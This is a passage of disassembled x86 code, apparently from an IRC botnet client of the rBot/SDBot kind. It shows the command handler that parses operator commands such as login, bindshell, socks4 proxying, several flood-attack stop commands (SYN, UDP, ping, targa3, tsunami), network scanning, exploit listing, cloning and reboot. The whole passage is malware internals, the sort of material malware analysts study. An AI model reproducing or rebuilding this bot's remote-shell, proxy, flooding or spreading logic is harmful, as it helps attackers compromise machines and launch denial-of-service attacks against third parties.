		jz	short loc_40230A


loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42CFD4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CB508
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42CFB8
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42CFB0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42CF98
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7853j
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_42CF5C
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CF18


loc_40240A:				; CODE XREF: sub_401ACD+7E2Aj
					; sub_401ACD+7E91j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEF0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset word_415C5A
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_42CEB8
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE88
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE54
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		push	edi
		push	offset aLogin	; "login"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		push	edi
		push	offset asc_42CE50 ; "l"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BE
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855


loc_4025BE:				; CODE XREF: sub_401ACD+AD5j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409855
		xor	edi, edi
		cmp	dword_4294D0, ebx
		jle	loc_402773
		mov	[ebp+arg_20], offset dword_43D810


loc_4025DC:				; CODE XREF: sub_401ACD+B2Ej
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402602
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294D0
		jl	short loc_4025DC
		jmp	loc_402773
; ---------------------------------------------------------------------------


loc_402602:				; CODE XREF: sub_401ACD+B1Ej
		push	offset asc_42D128 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D828[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402657:				; CODE XREF: sub_401ACD+C3Bj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C3
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C3
		lea	eax, dword_43D810[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FE
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch
		jmp	short loc_4026FE
; ---------------------------------------------------------------------------


loc_4026C3:				; CODE XREF: sub_401ACD+BB2j
					; sub_401ACD+BB9j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FE
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 18h


loc_4026FE:				; CODE XREF: sub_401ACD+BCBj
					; sub_401ACD+BDFj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402657
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271B:				; CODE XREF: sub_401ACD+C9Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275E
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275E
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch


loc_40275E:				; CODE XREF: sub_401ACD+C76j
					; sub_401ACD+C7Cj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271B
		mov	[ebp+var_2C8], 1


loc_402773:				; CODE XREF: sub_401ACD+B02j
					; sub_401ACD+B30j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278C
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297D


loc_40278C:				; CODE XREF: sub_401ACD+CB1j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEF
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEF
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEF
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEF
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEF
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FE:				; CODE XREF: sub_401ACD+E29j
		test	eax, eax
		jz	loc_4028FB
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CE10 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40284A
		cmp	[ebp+var_A0], 39h
		jle	short loc_402860


loc_40284A:				; CODE XREF: sub_401ACD+D72j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_402860:				; CODE XREF: sub_401ACD+D7Bj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402886
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40289A
; ---------------------------------------------------------------------------


loc_402886:				; CODE XREF: sub_401ACD+DA2j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40289A:				; CODE XREF: sub_401ACD+DB7j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FE
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_401ACD+D33j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42D124 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294B:				; CODE XREF: sub_401ACD+E93j
		push	offset asc_42D124 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294B
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297D:				; CODE XREF: sub_401ACD+CB9j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B41
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD64


loc_402B25:				; CODE XREF: sub_401ACD+10C2j
					; sub_401ACD+10E8j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B385
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B41:				; CODE XREF: sub_401ACD+1043j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B91
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD3C
		jmp	short loc_402B25
; ---------------------------------------------------------------------------


loc_402B91:				; CODE XREF: sub_401ACD+10ADj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BBA
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD20
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BBA:				; CODE XREF: sub_401ACD+10D3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD04
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BE3:				; CODE XREF: sub_401ACD+10FCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0C
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42CCF0
		push	offset dword_42CCE4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C0C:				; CODE XREF: sub_401ACD+1125j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C35
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42CCC4
		push	offset dword_42CCB4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C35:				; CODE XREF: sub_401ACD+114Ej
		push	edi
		push	offset dword_42CCA8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42CC9C
		push	offset dword_42CC90
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C5E:				; CODE XREF: sub_401ACD+1177j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C87
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42CC7C
		push	offset dword_42CC70
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C87:				; CODE XREF: sub_401ACD+11A0j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CB0
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42CC54
		push	offset dword_42CC44
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CB0:				; CODE XREF: sub_401ACD+11C9j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42CC28
		push	offset dword_42CC18
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CD9:				; CODE XREF: sub_401ACD+11F2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D02
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42CC00
		push	offset dword_42CBF4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402D02:				; CODE XREF: sub_401ACD+121Bj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E58
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42CC9C
		push	offset dword_42CC90
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	0Eh
		push	offset dword_42CC7C
		push	offset dword_42CC70
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42CBDC
		push	offset dword_42CBD0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	16h
		push	offset dword_42CBC4
		push	offset dword_42CBB8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42CC28
		push	offset dword_42CC18
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	12h
		push	offset dword_42CC00
		push	offset dword_42CBF4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42CBA8
		push	offset dword_42CB98
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	13h
		push	offset dword_42CB88
		push	offset dword_42CB78
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42CC54
		push	offset dword_42CC44
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42CB44
		push	[ebp+var_88]
		push	edi
		call	sub_409A73
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E58:				; CODE XREF: sub_401ACD+1244j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E81
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42CBA8
		push	offset dword_42CB98
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402E81:				; CODE XREF: sub_401ACD+139Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EAA
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42CB88
		push	offset dword_42CB78
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EAA:				; CODE XREF: sub_401ACD+13C3j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42CBDC
		push	offset dword_42CBD0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402ED3:				; CODE XREF: sub_401ACD+13ECj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42CBC4
		push	offset dword_42CBB8
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EFC:				; CODE XREF: sub_401ACD+1415j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F25
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42CAFC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402F25:				; CODE XREF: sub_401ACD+143Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA2
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42CAAC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FA2:				; CODE XREF: sub_401ACD+14BBj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCB
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42CA88
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FCB:				; CODE XREF: sub_401ACD+14E4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42CA68
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FF4:				; CODE XREF: sub_401ACD+150Dj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031C0
		call	sub_418338
		test	eax, eax
		mov	eax, offset unk_42C9A4
		jnz	short loc_403192
		mov	eax, offset unk_42C97C


loc_403192:				; CODE XREF: sub_401ACD+16BEj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 1Ch
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4031C0:				; CODE XREF: sub_401ACD+16B0j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
